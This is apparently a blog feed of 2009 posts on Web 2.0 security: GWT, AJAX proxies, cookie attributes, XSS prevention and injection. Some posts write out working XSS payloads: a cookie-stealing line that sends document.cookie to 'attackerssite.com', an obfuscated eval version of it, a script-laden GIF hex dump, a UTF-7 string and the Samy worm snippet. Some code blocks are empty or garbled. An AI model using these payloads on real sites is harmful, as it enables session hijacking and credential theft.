Network Security-A need to protect

Google Web Toolkit

noreply@blogger.com (VIP) — Fri, 01 May 2009 11:54:00 +0000

Google Web Toolkit (GWT) is a unique sort of proxy framework. Instead of acting as a
proxy between an existing application and the client, GWT compiles an existing Java
application into JavaScript. It is because of this compilation process that method discovery
in GWT applications is uniquely difficult. Methods are sent to the client with a filename
in this format: 32 letters/numbers.cache.html. Here’s an example filename:
9B5996A7A61FA7AB0B780C54253DE830.cache.html.
This file is composed entirely of JavaScript that GWT compiled from the Java application.
Methods are often named a series of two- to three-character obfuscated names
such as qe, xrb, and the like. Methods can thus be discovered by analyzing the data
contained in a .cache.htm; however, method discovery against an application using GWT
remains significantly more challenging than discovery against any other framework.
The client will be served gwt.js. This file will contain required GWT methods and
generally begins with the following JavaScript:
function DynamicResources() {
this.pendingElemsBySrc_ = {};
this.pendingScriptElems_ = new Array();
}
DynamicResources.prototype = {};
GWT is available at http://code.google.com/webtoolkit/.

Client-Server Proxy

noreply@blogger.com (VIP) — Fri, 01 May 2009 11:52:00 +0000

Client-server proxy is sometimes also known as client/SOA. Client-server proxy
applications have two main determining factors: they rarely require a full page reload
during usage, and session state is mostly handled by the client. Due to the lack of full
page reloads, the client-server proxy style of AJAX applications is often described as
“wrapping an AJAX GUI around a web service.”
In the proxy style of AJAX application, the JavaScript that will be executed in a client’s
web browser can be generated in two ways. The first way is for the JavaScript
methods to be prerendered on the server and then sent down to the client. These methods
are generally named the same or quite similar to methods on the server. When the
client receives the JavaScript methods from the server, the methods are simply plugged
into an eval() and executed. The other style generating the JavaScript is for the server
to send down a chunk of JavaScript to the client, which, once executed, is able to generate
new JavaScript methods on the fly. This JavaScript generates methods on the fly by
reading a list of methods defined by the server in a file such as a Web Services Description
Language (WSDL) file. In practice, the prerendered style of generating JavaScript is
more commonly seen in real-world AJAX applications, while on-the-fly generation is
usually seen only with web applications that use Simple Object Access Protocol
(SOAP).
Despite the number of different client-server proxy frameworks in existence, the steps
involved with creating a proxy style AJAX web application are generally the same:
1. The framework looks at server-side code, such as a Java web application, where
certain methods are tagged as public.
2. The framework is told which of these functions are to be exposed to clients
3. Framework code then automatically goes through and tags these methods and
generates a JavaScript proxy that puts methods, often of the same name, into
the web browser.
4. Then, whenever the client makes a method call in JavaScript, the call is passed
on to the JavaScript proxy and then on to the actual method being called.
This allows for easy abstraction, for example, if one development team is working on
the actual application and another team is working on web design. The web design team
can simply be handed a file of JavaScript methods that can be called to perform work
when needed, without having to interact with the behind-the-scenes Java application. A
client-server proxy style application such as this requires the client to contain all of the
available methods, because, due to the asynchronous nature of AJAX, any method can be
called at any time. For this reason, a client-server proxy style AJAX implementation is
quite interesting and useful from an attacker’s perspective.

Preventing Cross-Site Scripting

noreply@blogger.com (VIP) — Fri, 13 Mar 2009 05:16:00 +0000

To prevent XSS, developers must be very careful of user-supplied data that is served
back to users. We define user-supplied data as any data that comes from an outside network
connection to some web application. It could be a username submitted in an HTML form
at login, a backend AJAX request that was supposed to come from the JavaScript code
the developer programmed, an e-mail, or even HTTP headers. Treat all data entering a
web application from an outside network connection as potentially harmful.
For all user-supplied data that is later redisplayed back to users in all HTTP responses
such as web pages and AJAX responses (HTTP response code 200), page not found errors
(HTTP response code 404), server errors (like HTTP response code 502), redirects (like
HTTP response code 302), and so on, the developer must do one of the following:
• Escape the data properly so it is not interpreted as HTML (to browsers) or XML
(to Flash).
• Remove characters or strings that can be used maliciously.
Removing characters generally affects user experience. For instance, if the developer
removed apostrophes (’), some people with the last name O’Reilly, or the like, would be
frustrated that their last name is not displayed properly.
We highly discourage developers to remove strings, because strings can be represented
in many ways. The strings are also interpreted differently by applications and browsers. For example, the SAMY worm took advantage of the fact that IE does not consider
new lines as word delimiters. Thus, IE interprets javascript and jav%0dascr%0dipt
as the same. Unfortunately, MySpace interpreted new lines as delimiting words and allowed
the following to be placed on Samy’s (and others’) MySpace pages:
(div id="mycode" expr="alert('1')" style="background:url('java
script:eval(document.all.mycode.expr)')")(/div)
The parenthesis are intensionally replaced by HTML tags.
We recommend escaping all user-supplied data that is sent back to a web browser within
AJAX calls, mobile applications, web pages, redirects, and so on. However, escaping
strings is not simple; you must escape with URL encoding, HTML entity encoding, or JavaScript
encoding depending on where the user-supplied data is placed in the HTTP responses.

HTML Injection Using MIME Type Mismatch

noreply@blogger.com (VIP) — Thu, 12 Mar 2009 16:00:00 +0000

IE has many surprising and undocumented behaviors. For example, if IE 7 and earlier tries to load an image or other non-HTML responses and fails to do so, it treats the response as HTML. To see this, create a text file containing this: (script)alert(1)(/script) Then save it as alert.jpg. Loading this “image” in IE from the URL address bar or an iframe will result in the JavaScript being executed. Note that this does not work if the file is loaded from an image tag. Generally, if you attempt to upload such a file to an image hosting service, it will reject the file because it is not an image. Image hosting services usually disregard the file extension and look only at the magic number (the first few bytes) of the file to determine the file type. Thus, an attacker can get around this by creating a GIF image with HTML in the GIF comment and save the GIF with the .jpg file extension. A single-pixel GIF is shown here: 00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........| 00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!..(script)al| 00000020 65 72 74 28 31 29 3c 2f 73 63 72 69 70 74 3e 00 |ert(1)(/script).| 00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;| Naming this file test.jpg and loading it in IE will result in executing the JavaScript. This is also a great way to attempt to inject Flash cross-domain policies. Simply place the Flash security policy XML content in the GIF comment and ensure that the GIF file does not contain extended ASCII characters or NULL bytes. You can also inject HTML in the image data section, rather than the comment, of uncompressed image files such as XPM and BMP files.

HTML Injection Using UTF-7 Encodings

noreply@blogger.com (VIP) — Thu, 12 Mar 2009 15:54:00 +0000

HTML Injection Using UTF-7 Encodings
If a user has Auto-Select encoding set (by choosing View | Encoding | Auto-Select) in IE,
an attacker can circumvent most HTML injection preventions. As mentioned earlier,
HTML injection prevention generally relies upon escaping potentially harmful characters.
However, UTF-7 encoding uses common characters that are not normally escaped,
or depending on the web application, may not be possible to escape. The UTF-7 escaped
version of (script)alert(1)(/script) is this:
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
The parenthesis are intentionally applied instead of HTML tags.
Note that this is an uncommon attack because users generally do not have Auto-
Select encoding turned on. There exists other UTF encoding attacks that leverage the
variable length of character encodings, but this requires extensive knowledge of UTF
and is out of scope for this book. However, this issue introduces how neglecting other
encodings like MIME types can lead to HTML injection.

Phishing Attacks

noreply@blogger.com (VIP) — Sat, 07 Mar 2009 14:16:00 +0000

An attacker can use an XSS for social engineering by mimicking the web application to
the user. Upon a successful XSS, the attacker has complete control as to how the web
application looks. This can be used for web defacement, where an attacker puts up a silly
picture, for example. One of the common images suitable for print is Stall0wn3d.
The HTML injection string for this attack could simply be this:
.
However, having control of the way a web application appears to a victimized user
can be much more beneficial to an attacker than simply displaying some hot picture
of Sylvester Stallone. An attacker could perform a phishing attack that coerces the user
into giving the attacker confidential information. Using document.body.innerHTML,
an attacker could present a login page that looks identical to the vulnerable web
application’s login page and that originates from the domain that has the HTML injection,
but upon submission of the form, the data is sent to a site of the attacker’s choosing.
Thus, when the victimized user enters his or her username and password, the information
is sent to the attacker. The code could be something like this:

Stealing Cookies

noreply@blogger.com (VIP) — Sat, 07 Mar 2009 14:10:00 +0000

Cookies generally carry access controls to web applications. If an attacker stole a victim
user’s cookies, the attacker could use the victim’s cookies to gain complete control of the
victim’s account. It is best practice for cookies to expire over a certain amount of time. So
the attacker will have access to victim’s account only for that limited time. Cookies can
be stolen with the following code:
var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='
+document.cookie;
or
document.write("");
If certain characters are disallowed, convert these strings to their ASCII decimal value
and use JavaScript’s String.charFromCode() function. The following JavaScript is
equivalent to the preceding JavaScript:
eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,
97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,
97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,
101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,
100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));

Cookie Security Model

noreply@blogger.com (VIP) — Sat, 07 Mar 2009 13:39:00 +0000

HTTP is a stateless protocol, meaning that one HTTP request/response pair has no
association with any other HTTP request/response pair. At some point in the evolution
of HTTP, developers wanted to maintain some data throughout every request/response
so that they could make richer web applications. RFC 2109 created a standard whereby
every HTTP request automatically sends the same data from the user to the server in an
HTTP header called a cookie. Both the web page and server have read/write control of
this data. A typical cookie accessed through JavaScript’s document.cookie looks like
this:
CookieName1=CookieValue1; CookieName2=CookieValue2;
Cookies were intended to store confidential information, such as authentication
credentials, so RFC 2109 defined security guidelines similar to those of the same domain
policy.
Servers are intended to be the main controller of cookies. Servers can read cookies,
write cookies, and set security controls on the cookies. The cookie security controls
include the following:
• domain This attribute is intended to act similarly to the same origin policy but
is a little more restrictive. Like the same origin policy, the domain defaults to the
domain in the HTTP request Host header, but the domain can be set to be one
domain level higher. For example, if the HTTP request was to x.y.z.com, then
x.y.z.com could set cookies for all of *.y.z.com, and x.y.z.com cannot set cookies
for all of *.z.com. Apparently, no domain may set cookies for top level domains
(TLDs) such as *.com.
• path This attribute was intended to refi ne the domain security model to
include the URL path. The path attribute is optional. If set, the cookie is sent
only to the server whose path is identical to the path attribute. For example, say
http://x.y.z.com/a/WebApp set a cookie with path /a; then the cookie would
be sent to all requests to http://x.y.z.com/a/* only. The cookie would not be
sent to http://x.y.z.com/index.html or http://x.y.z.com/a/b/index.html.
• secure If a cookie has this attribute set, the cookie is sent only on HTTPS
requests. Note that both HTTP and HTTPS responses can set the secure
attribute. Thus, an HTTP request/response can alter a secure cookie set over
HTTPS. This is a big problem for some advanced man-in-the-middle attacks.

• expires Usually, cookies are deleted when the browser closes. However, you
can set a date in the Wdy, DD-Mon-YYYY HH:MM:SS GMT format to store the
cookies on the user’s computer and keep sending the cookie on every HTTP
request until the expiry date. You can delete cookies immediately by setting the
expires attribute to a past date.
• HttpOnly This attribute is nowrespected by both Firefox and Internet Explorer. It
is hardly used in web applications because it was only available in Internet Explorer.
If this attribute is set, IE will disallow the cookie to be read or written via JavaScript’s
document.cookie. This intended to prevent the attacker from stealing cookies and
doing something bad. However, that attacker could always create JavaScript to do
equally bad actions without stealing cookies.
Security attributes are concatenated to the cookies like this:
CookieName1=CookieValue1; domain=.y.z.com; path=/a;
CookieName2=CookieValue2; domain=x.y.z.com; secure
JavaScript and VBScript are inaccurately considered extensions of the server code, so
these scripting languages can read and write cookies by accessing the document.cookie
variable, unless the cookie has the HttpOnly attribute set and the user is running IE. This
is of great interest to hackers, because cookies generally contain authentication credentials,
CSRF protection information, and other confidential information. Also, Man-in-the-
Middle (MitM) attacks can edit JavaScript over HTTP.
If an attacker can break or circumvent the same origin policy, the cookies can be
easily read via the DOM with the document.cookie variable. Writing new cookies is
easy, too: simply concatenate to document.cookie with this string format:
var cookieDate = new Date ( 2030, 12, 31 );
document.cookie += "CookieName=CookieValue;" +
/* All lines below are optional. */
"domain=.y.z.com;" +
"path=/a;" +
"expires=" + cookieDate.toGMTString() + ";" +
"secure;" +
"HttpOnly;"

How Injection Attack Works

noreply@blogger.com (VIP) — Sat, 28 Feb 2009 14:27:00 +0000

Injection attacks are based on a single problem that persists in many technologies: namely,
no strict separation exists between program instructions and user data (also referred to as
user input). This problem allows for attackers to sneak program instructions into places
where the developer expected only benign data. By sneaking in program instructions, the
attacker can instruct the program to perform actions of the attacker’s choosing.

Further on this topic i'll prefer this page of mine..click here for common injection attcks

Web 2.0’s Impact on Security

noreply@blogger.com (VIP) — Sat, 28 Feb 2009 06:31:00 +0000

The security impact on Web 2.0 technologies includes all the issues on Web 1.0 as well an
expansion of the same issues on new Web 2.0 frameworks. Thus, Web 2.0 simply adds to
the long list of security issues that may exist on web applications. Cross-site scripting (XSS)
is a very prevalent attack with Web 1.0 applications. In Web 2.0, there can actually be more
opportunities for XSS attacks due to rich attack surfaces present with AJAX. For example,
with Web 2.0 AJAX applications, inserting XSS attacks in JavaScript streams, XML, or JSON
is also possible. An example of downstream JavaScript array is shown here:
var downstreamArray = new Array();
downstreamArray[0] = "document.cookie";
simply the document.cookie value
(highlighted in bold) since the code is already in a JavaScript array.
In addition to XSS, injection attacks on Web 2.0 still target SQL and Lightweight
Directory Access Protocol (LDAP), but now include XPATH/XQUERY, XML, JSON, and
JavaScript arrays. Cross-site request forgery (CSRF) attacks are still present in Web 2.0,
but they can now be worse with bidirectional CSRF (JavaScript hijacking). Further, the
inconsistent security limits set on XMLHttpRequest (XHR) can leave Web 2.0 applications
that are vulnerable to CSRF exposed to worm type behavior, automatic prorogation
of a security flaw, rather that a simple one-click attack that would appear on a Web 1.0
application. For example, since many Web 2.0 applications contain integrated interaction
between users, when an application flaw such as XSS appears in the application, the
propagation of the flaw from one user to the other is even more possible. The prorogating
functionality was shown clearly with the Samy worm on MySpace.com, which is
discussed in Chapter 5 and the first case study.
Another security impact in addition to worm propagation is the idea of cross-domain
attacks. Cross-domain attacks allow attackers to publish malicious content to web users
without users’ knowledge or permission. While XHR specifically prevents cross-domain
interaction, much to the developer’s dismay, there is some flexibility in certain Web 2.0
technologies. For example, Flash has XHR restrictions, but it has a method to support
cross-domain functionality. The following code shows an example of the flexibility from
crossdomain.xml:

In addition to the domain name, a wildcard can be used such as domain="*".
(Many web developers are bypassing XHR security controls to add cross-domain
functionality to their web applications.) Cross-domain functionality becomes very scary
when CSRF attacks are apparent. As noted, CSRF can force a user to perform actions
without his or her knowledge or permission. With the ability of cross-domain support,
CSRF attacks can allow an attacker or phisher to force actions across domains with a
single click. Hence, clicking a story from a user’s blog might actually reduce your bank
account by $10,000.
Another risk with Web 2.0 is the ability to discover and enumerate attack surfaces in
a far easier fashion than with a Web 1.0 application. For example, Web 2.0 applications
often use AJAX frameworks. These frameworks contain lots of information about how
the applications work. The framework information is often downloaded to a user’s
browser via a .js file. This information makes it easy for an attacker to enumerate possible
attack surfaces. On the flip side, while discovery may be easy, manipulating calls to the
application may not be likewise. Unlike Web 1.0, where hidden form fields often
contained information used in GET and POST parameters, some Web 2.0 frameworks
often require a proxy to capture content, enumerate fields for possible injection, and then
submit to the server. Though not as straightforward as Web 1.0, the attack surfaces are
often larger.
Software as a service solution, while not a technology but rather a trend in the Web 2.0
space, has had a significant impact on security. Unlike in-house applications that run in
an organization’s own data center, hosted software solution affect security significantly.
An XSS flaw in an in-house CRM application simply allows a malicious employee to see
another employee’s information; however, the same flaw in a hosted CRM application
can allow one organization to see the sales leads of another company. Of course, the issues
are not limited to CRM applications, but sensitive data, confidential information, and
regulated data, such as health information and nonpublic personal information. Hosted
solutions hold data of all types from all types of customers, hence their security of their
applications far outweigh an in-house application accessible only to employees.
Overall, Web 2.0’s impact on security is large. Borders between data created by the
organization and data supplied by the web user are disappearing, hosted solutions are
storing content from hundreds of organizations accessible through the same web
interface, and developers are deploying new technologies without understanding the
security implications of them. These issues have all impacted security in the online
environment.

What Is Web 2.0?

noreply@blogger.com (VIP) — Sat, 28 Feb 2009 06:20:00 +0000

Web 2.0 is an industry buzz word that gets thrown around quite often. The term is often used for new web technology or comparison between products/services that extend from the initial web era to the existing one. For the purposes of this book, Web 2.0 addresses the new web technologies that are used to bring more interactivity to web applications, such as Google Maps and Live.com. Technologies such as Asynchronous JavaScript XML (AJAX), Cascading Style Sheets (CSS), Flash, XML, advanced usage of existing JavaScript, .Net, and ActiveX all fit under the Web 2.0 technology umbrella. While some of these technologies, such as ActiveX and Flash, have been around for awhile, organizations are just starting to use these technologies as core features of interactive web sites, rather than just visual effects. Additionally, Web 2.0 also includes a behavioral shift on the web, where users are encouraged to customize their own content on web applications rather than view static/ generic content supplied by an organization. For example, YouTube.com, MySpace.com, and blogging are a few examples of the Web 2.0 era, where these web applications are based on user supplied content. In the security world, any mention of a new technology often means that security is left out, forgotten, or simply marginalized. Unfortunately, this is also true about many Web 2.0 technologies. To complicate the issue further, the notion of “don’t ever trust user input” becomes increasingly difficult when an entire web application is based on user supplied input, ranging from HTML to Flash objects. In addition to the technology and behavior changes, Web 2.0 can also mean the shift from shrink-wrapped software to software as a service. During the early web era, downloading software from the web and running it on your server or desktop was the norm, ranging from Customer Relationship Management (CRM) applications to chat software. Downloading and managing software soon became a nightmare to organizations, as endless amount of servers, releases, and patches across hundreds of in-house applications drove IT costs through the roof. Organizations such as Google and Salesforce.com began offering traditional software as a service, meaning that nothing is installed or maintained by an individual or IT department. The individual or company would subscribe to the service, access it via a web browser, and use their CRM or chat application online. All server management, system updates, and patches are managed by the software company itself. Vendors solely need to make the software available to their users via an online interface, such as a web browser. This trend changed the client-server model; where the web browser is now the client and the server is a rich web application hosted on a backend in the data center. This model grew to be enormously popular, as the reduction of IT headache, software maintenance, and general software issues were no longer an in-house issue, but managed by the software vendor. As more and more traditional software companies saw the benefits, many of them followed the trend and began offering their traditional client-server applications online also, noted by the Oracle/Siebel online CRM solution. Similar to advertisement and music, software as a service was also around in Web 1.0, but it was called an Application Service Provider (ASP). ASPs failed miserably in Web 1.0, but similar to advertisements and music in Web 2.0, they are very healthy and strong. Hence, if a security flaw exists in a hosted software service, how does that affect a company’s information? Can a competitor exploit that flaw and gain the information for its advantage? Now that all types of data from different organizations are located in one place (the vendor’s web application and backend systems), does a security issue in the application mean game over for all customers? Another aspect of Web 2.0 are mash-up and plug-in pages. For example, many web applications allow users to choose content from a variety of sources. An RSS feed may come from one source and weather plug-in may come from another. While content is being uploaded from a variety of sources, the content is hosted on yet another source, such as a personalized Google home page or a customized CRM application with feeds from different parts of the organization. These mash-up and plug-in pages give users significant control over what they see. With this new RSS and plug-in environment, the security model of the application gets more complex. Back in Web 1.0, a page such as CNN.com would be ultimately responsible for the content and security of the site. However, now with many RSS and plug-in feeds, how do Google and Microsoft protect their users from malicious RSS feeds or hostile plug-ins? These questions make the process of securing Web 2.0 pages with hundreds of sources a challenging task, both for the software vendors as well as the end users. Similar to many buzz words on the web, Web 2.0 is constantly being overloaded and can mean different things to different topics. For the purposes of the book, we focus on the application frameworks, protocols, and development environments that Web 2.0 brings to the Internet.